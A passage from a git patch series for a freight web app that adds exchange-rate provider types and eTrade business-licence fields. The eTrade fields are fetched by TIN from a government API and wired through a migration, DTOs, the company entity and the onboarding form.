*/ +export interface CurrencyPair { + from: CurrencyCode; + to: CurrencyCode; +} + +/** + * A source of base exchange rates. Implementations fetch (scrape/API) the rate + * for a single canonical direction; the {@link ExchangeService} derives the + * inverse and same-currency (1:1) cases on top. + * + * Today the only implementation is the CBE (Central Bank of Ethiopia) provider, + * which sources USD→ETB. New providers (other banks, other base pairs) can be + * added without touching consumers. + */ +export interface ExchangeRateProvider { + /** Human-readable provider name, used in logs (e.g. `'CBE'`). */ + readonly name: string; + + /** + * Returns the rate for `pair` (units of `pair.to` per 1 unit of `pair.from`), + * or `null` if this provider cannot supply that pair directly. + */ + getBaseRate(pair: CurrencyPair): Promise; +} diff --git a/packages/api-common/src/services/exchange/index.ts b/packages/api-common/src/services/exchange/index.ts new file mode 100644 index 000000000..c5e9c960a --- /dev/null +++ b/packages/api-common/src/services/exchange/index.ts @@ -0,0 +1,10 @@ +export { ExchangeService } from "./exchange.service"; +export { ExchangeModule } from "./exchange.module"; +export { CbeExchangeProvider } from "./cbe.provider"; +export { EXCHANGE_OPTIONS, EXCHANGE_DEFAULTS } from "./exchange.options"; +export type { ExchangeOptions, ExchangeAsyncOptions } from "./exchange.options"; +export type { + CurrencyCode, + CurrencyPair, + ExchangeRateProvider, +} from "./exchange.types"; From 1f92a04ecfdc8ddb2fc37e6406373d9395918409 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 10:27:41 +0000 Subject: [PATCH 07/19] feat: add eTrade fields to company entity and onboarding process - Added new fields to the Company entity: licenceNumber, statusDescription, dateRegistered, renewedFrom, renewalDate, renewedTo, region, zone, woreda, kebele, houseNo, and etradePhone. - Updated onboarding wizard to include a new contact step and fetch company information from eTrade using TIN. - Created ETradeInfo component to handle fetching and displaying eTrade data. - Implemented ETradeService to interact with eTrade API and extract relevant company registration data. - Added new DTOs for fetching eTrade data and handling responses. - Updated CompanyProfileForm to integrate new fields and handle eTrade data. - Created hooks for managing eTrade data fetching and error handling. --- ...791000000003-AddETradeFieldsToCompanies.ts | 109 +++++ .../modules/companies/companies.controller.ts | 11 + .../src/modules/companies/companies.module.ts | 4 + .../modules/companies/companies.service.ts | 41 ++ .../companies/dto/etrade-response.dto.ts | 39 ++ .../modules/companies/dto/fetch-etrade.dto.ts | 8 + .../companies/dto/profile-response.dto.ts | 30 ++ .../companies/dto/update-profile.dto.ts | 67 +++ .../companies/entities/company.entity.ts | 61 +++ .../companies/services/etrade.service.ts | 102 ++++ .../src/components/onboarding/ETradeInfo.tsx | 96 ++++ .../onboarding/OnboardingWizardDialog.tsx | 9 +- .../portal/src/constants/URLS.ts | 1 + .../portal/src/hooks/useETradeData.ts | 16 + .../src/pages/accounts/CompanyProfileForm.tsx | 452 +++++++++++++++--- .../portal/src/services/companies.service.ts | 9 + .../portal/src/types/profile.ts | 28 ++ packages/types/src/freight/etrade.ts | 79 +++ packages/types/src/freight/index.ts | 1 + 19 files changed, 1088 insertions(+), 75 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/services/etrade.service.ts create mode 100644 apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx create mode 100644 apps/edr-freight-web/portal/src/hooks/useETradeData.ts create mode 100644 packages/types/src/freight/etrade.ts diff --git a/apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts b/apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts new file mode 100644 index 000000000..07f0d2555 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791000000003-AddETradeFieldsToCompanies.ts @@ -0,0 +1,109 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +export class AddETradeFieldsToCompanies1791000000003 + implements MigrationInterface +{ + name = "AddETradeFieldsToCompanies1791000000003"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS licence_number varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS status_description text; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS date_registered varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS renewed_from varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS renewal_date varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS renewed_to varchar(50); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS region varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS zone varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS woreda varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS kebele varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS house_no varchar(100); + `); + await queryRunner.query(` + ALTER TABLE freight.companies + ADD COLUMN IF NOT EXISTS etrade_phone varchar(20); + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS licence_number; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS status_description; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS date_registered; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS renewed_from; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS renewal_date; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS renewed_to; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS region; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS zone; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS woreda; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS kebele; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS house_no; + `); + await queryRunner.query(` + ALTER TABLE freight.companies + DROP COLUMN IF EXISTS etrade_phone; + `); + } +} diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index 249a8e181..18512ce09 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -38,6 +38,8 @@ import { CompanyInfoResponseDto } from "./dto/company-info-response.dto"; import { UpdateProfileDto } from "./dto/update-profile.dto"; import { ProfileResponseDto } from "./dto/profile-response.dto"; import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto"; +import { FetchETradeDto } from "./dto/fetch-etrade.dto"; +import { ETradeResponseDto } from "./dto/etrade-response.dto"; interface CurrentIamUser { id: string; @@ -85,6 +87,15 @@ export class CompaniesController { return this.companiesService.getDashboardSummary(user.id); } + @Post("fetch-etrade-info") + @ApiOperation({ summary: "Fetch company info from eTrade by TIN" }) + async fetchETradeInfo( + @Body() dto: FetchETradeDto, + ): Promise { + const data = await this.companiesService.fetchETradeData(dto.tin); + return new ETradeResponseDto(data); + } + @Patch("profile") @ApiOperation({ summary: "Update profile (flattened settings page)" }) async updateProfile( diff --git a/apps/edr-freight-api/src/modules/companies/companies.module.ts b/apps/edr-freight-api/src/modules/companies/companies.module.ts index edab8984d..d275c57a7 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.module.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.module.ts @@ -1,5 +1,6 @@ import { Module } from "@nestjs/common"; import { TypeOrmModule } from "@nestjs/typeorm"; +import { HttpModule } from "@nestjs/axios"; import { FilesModule } from "../files/files.module"; import { MinioModule } from "../minio/minio.module"; import { CompaniesController } from "./companies.controller"; @@ -12,10 +13,12 @@ import { ExternalProfile } from "./entities/external-profile.entity"; import { CompanyProfile } from "./entities/company-profile.entity"; import { Booking } from "../bookings/entities/booking.entity"; import { CompanyProfileRepository } from "./company-profile.repository"; +import { ETradeService } from "./services/etrade.service"; @Module({ imports: [ TypeOrmModule.forFeature([Company, ExternalProfile, CompanyProfile, Booking]), + HttpModule, FilesModule, MinioModule, ], @@ -26,6 +29,7 @@ import { CompanyProfileRepository } from "./company-profile.repository"; ExternalProfileRepository, CompanyProfileRepository, CompanyDashboardRepository, + ETradeService, ], exports: [CompaniesService], }) diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 42f3446d1..69c4c3cae 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -9,6 +9,7 @@ import { CompanyProfileRepository } from "./company-profile.repository"; import { ExternalProfileRepository } from "./external-profile.repository"; import { CompanyDashboardRepository } from "./company-dashboard.repository"; import { MinioService } from "../minio/minio.service"; +import { ETradeService } from "./services/etrade.service"; import { CreateCompanyDto } from "./dto/create-company.dto"; import { UpdateCompanyDto } from "./dto/update-company.dto"; import { CreateExternalProfileDto } from "./dto/create-external-profile.dto"; @@ -46,6 +47,7 @@ export class CompaniesService { private readonly profilesRepo: ExternalProfileRepository, private readonly dashboardRepo: CompanyDashboardRepository, private readonly minioService: MinioService, + private readonly etradeService: ETradeService, ) { } async createCompany(dto: CreateCompanyDto): Promise { @@ -496,6 +498,10 @@ export class CompaniesService { if (dto.contactPersonName !== undefined) attrUpdates.contactPersonName = dto.contactPersonName; + if (dto.contactPersonPosition !== undefined) + attrUpdates.contactPersonPosition = dto.contactPersonPosition; + if (dto.contactPersonEmail !== undefined) + attrUpdates.contactPersonEmail = dto.contactPersonEmail; if (dto.contactPersonPhone !== undefined) attrUpdates.contactPersonPhone = dto.contactPersonPhone; if (dto.generalManagerName !== undefined) @@ -511,6 +517,31 @@ export class CompaniesService { attrUpdates.poaLocation = dto.poaLocation; if (dto.poaAddress !== undefined) attrUpdates.poaAddress = dto.poaAddress; + if (dto.licenceNumber !== undefined) + companyUpdates.licenceNumber = dto.licenceNumber; + if (dto.statusDescription !== undefined) + companyUpdates.statusDescription = dto.statusDescription; + if (dto.dateRegistered !== undefined) + companyUpdates.dateRegistered = dto.dateRegistered; + if (dto.renewedFrom !== undefined) + companyUpdates.renewedFrom = dto.renewedFrom; + if (dto.renewalDate !== undefined) + companyUpdates.renewalDate = dto.renewalDate; + if (dto.renewedTo !== undefined) + companyUpdates.renewedTo = dto.renewedTo; + if (dto.region !== undefined) + companyUpdates.region = dto.region; + if (dto.zone !== undefined) + companyUpdates.zone = dto.zone; + if (dto.woreda !== undefined) + companyUpdates.woreda = dto.woreda; + if (dto.kebele !== undefined) + companyUpdates.kebele = dto.kebele; + if (dto.houseNo !== undefined) + companyUpdates.houseNo = dto.houseNo; + if (dto.etradePhone !== undefined) + companyUpdates.etradePhone = dto.etradePhone; + companyUpdates.attributes = attrUpdates; const updated = await this.companiesRepo.update(company.id, companyUpdates); @@ -892,4 +923,14 @@ export class CompaniesService { return null; } } + + async fetchETradeData(tin: string) { + const { businessInfo } = await this.etradeService.resolveCompanyData(tin); + if (!businessInfo) { + throw new BadRequestException( + "No business license found for this TIN. Please check the number and try again.", + ); + } + return this.etradeService.extractRegistrationData(businessInfo); + } } diff --git a/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts new file mode 100644 index 000000000..200b69fee --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts @@ -0,0 +1,39 @@ +import { CompanyRegistrationData } from "@edr/types"; + +export class ETradeResponseDto implements CompanyRegistrationData { + licenceNumber!: string; + statusDescription!: string; + dateRegistered!: string; + renewedFrom!: string; + renewalDate!: string; + renewedTo!: string; + region!: string; + zone!: string; + woreda!: string; + kebele!: string; + houseNo!: string; + mobilePhone!: string; + regularPhone!: string; + managerName!: string; + managerEmail?: string; + managerPhone!: string; + + constructor(data: CompanyRegistrationData) { + this.licenceNumber = data.licenceNumber; + this.statusDescription = data.statusDescription; + this.dateRegistered = data.dateRegistered; + this.renewedFrom = data.renewedFrom; + this.renewalDate = data.renewalDate; + this.renewedTo = data.renewedTo; + this.region = data.region; + this.zone = data.zone; + this.woreda = data.woreda; + this.kebele = data.kebele; + this.houseNo = data.houseNo; + this.mobilePhone = data.mobilePhone; + this.regularPhone = data.regularPhone; + this.managerName = data.managerName; + this.managerEmail = data.managerEmail; + this.managerPhone = data.managerPhone; + } +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts new file mode 100644 index 000000000..2eb37c92d --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts @@ -0,0 +1,8 @@ +import { IsString, IsNotEmpty, Length } from "class-validator"; + +export class FetchETradeDto { + @IsString() + @IsNotEmpty() + @Length(10, 10, { message: "TIN must be exactly 10 digits" }) + tin!: string; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts index 993cf9f2b..97f2d9f50 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts @@ -17,7 +17,22 @@ export class ProfileResponseDto { companyProfiles: ResponseCompanyProfileDto[]; + licenceNumber: string | null; + statusDescription: string | null; + dateRegistered: string | null; + renewedFrom: string | null; + renewalDate: string | null; + renewedTo: string | null; + region: string | null; + zone: string | null; + woreda: string | null; + kebele: string | null; + houseNo: string | null; + etradePhone: string | null; + contactPersonName: string | null; + contactPersonPosition: string | null; + contactPersonEmail: string | null; contactPersonPhone: string | null; generalManagerName: string | null; generalManagerEmail: string | null; @@ -48,8 +63,23 @@ export class ProfileResponseDto { this.fanNumber = company.fanNumber ?? null; this.profileId = profile.id; + this.licenceNumber = company.licenceNumber ?? null; + this.statusDescription = company.statusDescription ?? null; + this.dateRegistered = company.dateRegistered ?? null; + this.renewedFrom = company.renewedFrom ?? null; + this.renewalDate = company.renewalDate ?? null; + this.renewedTo = company.renewedTo ?? null; + this.region = company.region ?? null; + this.zone = company.zone ?? null; + this.woreda = company.woreda ?? null; + this.kebele = company.kebele ?? null; + this.houseNo = company.houseNo ?? null; + this.etradePhone = company.etradePhone ?? null; + const attrs = company.attributes ?? {}; this.contactPersonName = attrs.contactPersonName ?? null; + this.contactPersonPosition = attrs.contactPersonPosition ?? null; + this.contactPersonEmail = attrs.contactPersonEmail ?? null; this.contactPersonPhone = attrs.contactPersonPhone ?? null; this.generalManagerName = attrs.generalManagerName ?? null; this.generalManagerEmail = attrs.generalManagerEmail ?? null; diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts index a3933ec9e..8bb691a80 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts @@ -50,6 +50,14 @@ export class UpdateProfileDto { @IsString() contactPersonName?: string; + @IsOptional() + @IsString() + contactPersonPosition?: string; + + @IsOptional() + @IsEmail() + contactPersonEmail?: string; + @IsOptional() @IsString() contactPersonPhone?: string; @@ -85,4 +93,63 @@ export class UpdateProfileDto { @IsOptional() @IsString() poaAddress?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + licenceNumber?: string; + + @IsOptional() + @IsString() + statusDescription?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + dateRegistered?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + renewedFrom?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + renewalDate?: string; + + @IsOptional() + @IsString() + @MaxLength(50) + renewedTo?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + region?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + zone?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + woreda?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + kebele?: string; + + @IsOptional() + @IsString() + @MaxLength(100) + houseNo?: string; + + @IsOptional() + @IsString() + @MaxLength(20) + etradePhone?: string; } diff --git a/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts index 74a1e8fb9..6702f9f7c 100644 --- a/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts +++ b/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts @@ -117,6 +117,67 @@ export class Company extends BaseEntity { @Column({ name: "attributes", type: "jsonb", nullable: true }) attributes?: Record | null; + @Column({ + name: "licence_number", + type: "varchar", + length: 100, + nullable: true, + }) + licenceNumber?: string | null; + + @Column({ name: "status_description", type: "text", nullable: true }) + statusDescription?: string | null; + + @Column({ + name: "date_registered", + type: "varchar", + length: 50, + nullable: true, + }) + dateRegistered?: string | null; + + @Column({ + name: "renewed_from", + type: "varchar", + length: 50, + nullable: true, + }) + renewedFrom?: string | null; + + @Column({ + name: "renewal_date", + type: "varchar", + length: 50, + nullable: true, + }) + renewalDate?: string | null; + + @Column({ + name: "renewed_to", + type: "varchar", + length: 50, + nullable: true, + }) + renewedTo?: string | null; + + @Column({ name: "region", type: "varchar", length: 100, nullable: true }) + region?: string | null; + + @Column({ name: "zone", type: "varchar", length: 100, nullable: true }) + zone?: string | null; + + @Column({ name: "woreda", type: "varchar", length: 100, nullable: true }) + woreda?: string | null; + + @Column({ name: "kebele", type: "varchar", length: 100, nullable: true }) + kebele?: string | null; + + @Column({ name: "house_no", type: "varchar", length: 100, nullable: true }) + houseNo?: string | null; + + @Column({ name: "etrade_phone", type: "varchar", length: 20, nullable: true }) + etradePhone?: string | null; + @OneToMany(() => ExternalProfile, (profile) => profile.company) profiles?: ExternalProfile[]; diff --git a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts new file mode 100644 index 000000000..95f927738 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts @@ -0,0 +1,102 @@ +import { Injectable, BadRequestException } from "@nestjs/common"; +import { HttpService } from "@nestjs/axios"; +import { firstValueFrom } from "rxjs"; +import { + ETradeCompanyInfo, + ETradeBusinessInfo, + CompanyRegistrationData, +} from "@edr/types"; + +@Injectable() +export class ETradeService { + private readonly baseUrl = "https://etrade.gov.et/api"; + private readonly referer = "https://etrade.gov.et/business-license-checker"; + + constructor(private readonly httpService: HttpService) {} + + async getCompanyInfoByTin(tin: string): Promise { + const url = `${this.baseUrl}/Registration/GetRegistrationInfoByTin/${tin}/en`; + try { + const response = await firstValueFrom( + this.httpService.get(url, { + headers: { Referer: this.referer }, + }), + ); + return response.data; + } catch (error: any) { + throw new BadRequestException( + `Failed to fetch company info from eTrade: ${error.message}`, + ); + } + } + + async getBusinessByLicenseNo( + licenseNo: string, + tin: string, + ): Promise { + const url = `${this.baseUrl}/BusinessMain/GetBusinessByLicenseNo`; + try { + const response = await firstValueFrom( + this.httpService.get(url, { + params: { + LicenseNo: licenseNo, + Tin: tin, + Lang: "en", + }, + headers: { Referer: this.referer }, + }), + ); + return response.data; + } catch (error: any) { + throw new BadRequestException( + `Failed to fetch business info from eTrade: ${error.message}`, + ); + } + } + + async resolveCompanyData(tin: string): Promise<{ + companyInfo: ETradeCompanyInfo; + businessInfo: ETradeBusinessInfo | null; + }> { + const companyInfo = await this.getCompanyInfoByTin(tin); + + if (!companyInfo.Businesses || companyInfo.Businesses.length === 0) { + return { companyInfo, businessInfo: null }; + } + + const latestBusiness = companyInfo.Businesses[0]; + try { + const businessInfo = await this.getBusinessByLicenseNo( + latestBusiness.LicenceNumber, + tin, + ); + return { companyInfo, businessInfo }; + } catch { + return { companyInfo, businessInfo: null }; + } + } + + extractRegistrationData( + businessInfo: ETradeBusinessInfo, + ): CompanyRegistrationData { + const primaryManager = businessInfo.AssociateShortInfos?.[0]; + + return { + licenceNumber: businessInfo.LicenceNumber, + statusDescription: businessInfo.StatusDescription, + dateRegistered: businessInfo.DateRegistered, + renewedFrom: businessInfo.RenewedFrom, + renewalDate: businessInfo.RenewalDate, + renewedTo: businessInfo.RenewedTo, + region: businessInfo.AddressInfo?.Region || "", + zone: businessInfo.AddressInfo?.Zone || "", + woreda: businessInfo.AddressInfo?.Woreda || "", + kebele: businessInfo.AddressInfo?.Kebele || "", + houseNo: businessInfo.AddressInfo?.HouseNo || "", + mobilePhone: businessInfo.AddressInfo?.MobilePhone || "", + regularPhone: businessInfo.AddressInfo?.RegularPhone || "", + managerName: primaryManager?.ManagerNameEng || "", + managerPhone: primaryManager?.RegularPhone || "", + }; + } +} diff --git a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx new file mode 100644 index 000000000..15632fe1b --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx @@ -0,0 +1,96 @@ +import { + Alert, + Button, + Group, + Loader, + SimpleGrid, + Stack, + Text, + TextInput, +} from "@mantine/core"; +import { AlertCircle, CheckCircle2, RefreshCw } from "lucide-react"; +import { useETradeData } from "@/hooks/useETradeData"; +import type { CompanyRegistrationData } from "@edr/types"; + +interface ETradeInfoProps { + tin: string; + onDataLoaded: (data: CompanyRegistrationData) => void; +} + +export default function ETradeInfo({ tin, onDataLoaded }: ETradeInfoProps) { + const mutation = useETradeData(); + const isLoading = mutation.isPending; + const hasError = mutation.isError; + const hasData = mutation.data; + + const handleFetch = async () => { + if (!tin || tin.length !== 10) return; + const result = await mutation.mutateAsync(tin); + if (result) { + onDataLoaded(result); + } + }; + + const errorMessage = + hasError && mutation.error + ? (mutation.error as any).message || + "Failed to fetch company information. Please try again." + : null; + + return ( + + + + + + + {hasError && errorMessage && ( + } + color="red" + title="Failed to fetch data" + > + {errorMessage} + + )} + + {hasData && ( + } + color="green" + title="Company information loaded" + > + + + License: {hasData.licenceNumber} + + + Status: {hasData.statusDescription} + + {hasData.region && ( + + Location: {hasData.kebele}, {hasData.woreda},{" "} + {hasData.zone}, {hasData.region} + + )} + + + )} + + ); +} diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index c400ee637..584735b3c 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -20,10 +20,17 @@ import NationalitySelect from "@/pages/settings/NationalitySelect"; import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; /** Form steps shared by CompanyProfileForm and ForwarderForm. */ -type FormStep = "company" | "personnel" | "poa" | "documents" | "additional"; +type FormStep = + | "company" + | "personnel" + | "contact" + | "poa" + | "documents" + | "additional"; const FORM_STEPS: FormStep[] = [ "company", "personnel", + "contact", "poa", "documents", "additional", diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 1c8bd2c5b..6a22ef954 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -90,6 +90,7 @@ export const URL_CONSTANTS = { ONBOARDING_STEP: "/api/companies/onboarding-step", ONBOARDING_COMPLETE: "/api/companies/onboarding/complete", DASHBOARD: "/api/companies/dashboard", + FETCH_ETRADE_INFO: "/api/companies/fetch-etrade-info", DOCUMENTS: (id: string) => `/api/companies/${id}/documents`, PROFILE_LICENSE: (profileId: string) => `/api/companies/company-profiles/${profileId}/license`, diff --git a/apps/edr-freight-web/portal/src/hooks/useETradeData.ts b/apps/edr-freight-web/portal/src/hooks/useETradeData.ts new file mode 100644 index 000000000..9fbce53d9 --- /dev/null +++ b/apps/edr-freight-web/portal/src/hooks/useETradeData.ts @@ -0,0 +1,16 @@ +import { useMutation } from "@tanstack/react-query"; +import { companiesService } from "@/services/companies.service"; +import { extractApiError } from "@/utils/result"; +import type { CompanyRegistrationData } from "@edr/types"; + +export function useETradeData() { + return useMutation({ + mutationFn: async (tin: string): Promise => { + return companiesService.fetchETradeInfo({ tin }); + }, + onError: (error) => { + const { message } = extractApiError(error); + console.error("eTrade fetch error:", message); + }, + }); +} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 3573d7ef6..ecc8d38ec 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -2,6 +2,7 @@ import { Alert, Box, Button, + Checkbox, Divider, Group, Loader, @@ -23,6 +24,7 @@ import { FileText, UploadCloud, User, + UserCheck, } from "lucide-react"; import { useEffect, useRef, useState } from "react"; import { useForm } from "react-hook-form"; @@ -31,6 +33,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; +import type { CompanyRegistrationData } from "@edr/types"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -38,8 +41,15 @@ import { splitPhone } from "@/utils/phone"; import RoleLicenseStep, { type RoleLicenseProfile, } from "@/components/onboarding/RoleLicenseStep"; +import ETradeInfo from "@/components/onboarding/ETradeInfo"; -type CompanyStep = "company" | "personnel" | "poa" | "documents" | "additional"; +type CompanyStep = + | "company" + | "personnel" + | "contact" + | "poa" + | "documents" + | "additional"; const onboardingSchema = z.object({ companyName: z.string().min(1, "Company name is required"), @@ -54,7 +64,25 @@ const onboardingSchema = z.object({ .min(1, "VAT number is required") .length(10, "VAT number must be exactly 10 digits"), fanNumber: z.string().length(16, "FAN must be exactly 16 digits"), + licenceNumber: z.string().optional(), + statusDescription: z.string().optional(), + dateRegistered: z.string().optional(), + renewedFrom: z.string().optional(), + renewalDate: z.string().optional(), + renewedTo: z.string().optional(), + region: z.string().optional(), + zone: z.string().optional(), + woreda: z.string().optional(), + kebele: z.string().optional(), + houseNo: z.string().optional(), + etradePhone: z.string().optional(), contactPersonName: z.string().min(1, "Contact person name is required"), + contactPersonPosition: z.string().optional(), + contactPersonEmail: z + .string() + .email("Invalid email address") + .optional() + .or(z.literal("")), contactPersonPhone: z.string().min(1, "Contact person phone is required"), contactPersonPhoneCountryCode: z.string().min(1, "Country code is required"), generalManagerName: z.string().min(1, "GM name is required"), @@ -82,16 +110,32 @@ const stepFields: Record = { "tinNumber", "vatNumber", "fanNumber", + "licenceNumber", + "statusDescription", + "dateRegistered", + "renewedFrom", + "renewalDate", + "renewedTo", + "region", + "zone", + "woreda", + "kebele", + "houseNo", + "etradePhone", ], personnel: [ - "contactPersonName", - "contactPersonPhone", - "contactPersonPhoneCountryCode", "generalManagerName", "generalManagerEmail", "generalManagerPhone", "generalManagerPhoneCountryCode", ], + contact: [ + "contactPersonName", + "contactPersonPosition", + "contactPersonEmail", + "contactPersonPhone", + "contactPersonPhoneCountryCode", + ], poa: [], documents: [], additional: [], @@ -109,6 +153,8 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { fanNumber: data.fanNumber, attributes: { contactPersonName: data.contactPersonName, + contactPersonPosition: data.contactPersonPosition || undefined, + contactPersonEmail: data.contactPersonEmail || undefined, contactPersonPhone: `${data.contactPersonPhoneCountryCode}${data.contactPersonPhone}`, generalManagerName: data.generalManagerName, generalManagerEmail: data.generalManagerEmail, @@ -138,15 +184,32 @@ function stepPayload(step: CompanyStep, d: FormData): Partial({ resolver: zodResolver(onboardingSchema), @@ -294,7 +372,21 @@ export default function CompanyProfileForm({ tinNumber: "", vatNumber: "", fanNumber: "", + licenceNumber: "", + statusDescription: "", + dateRegistered: "", + renewedFrom: "", + renewalDate: "", + renewedTo: "", + region: "", + zone: "", + woreda: "", + kebele: "", + houseNo: "", + etradePhone: "", contactPersonName: "", + contactPersonPosition: "", + contactPersonEmail: "", contactPersonPhone: "", contactPersonPhoneCountryCode: "+251", generalManagerName: "", @@ -312,8 +404,83 @@ export default function CompanyProfileForm({ values: rehydrate ? toFormValues(rehydrate) : undefined, }); + // The business owner/manager pulled from eTrade — powers "Use owner as + // manager" on the General Manager step. Null until a TIN lookup succeeds. + const [etradeOwner, setEtradeOwner] = useState<{ + name: string; + phone: string; + } | null>(null); + + // Mirror the two "copy from previous person" checkboxes so they can be + // re-toggled (re-checking re-pulls the latest values). + const [gmIsContact, setGmIsContact] = useState(false); + const [contactIsPoa, setContactIsPoa] = useState(false); + + const handleETradeDataLoaded = (data: CompanyRegistrationData) => { + setValue("licenceNumber", data.licenceNumber); + setValue("statusDescription", data.statusDescription); + setValue("dateRegistered", data.dateRegistered); + setValue("renewedFrom", data.renewedFrom); + setValue("renewalDate", data.renewalDate); + setValue("renewedTo", data.renewedTo); + setValue("region", data.region); + setValue("zone", data.zone); + setValue("woreda", data.woreda); + setValue("kebele", data.kebele); + 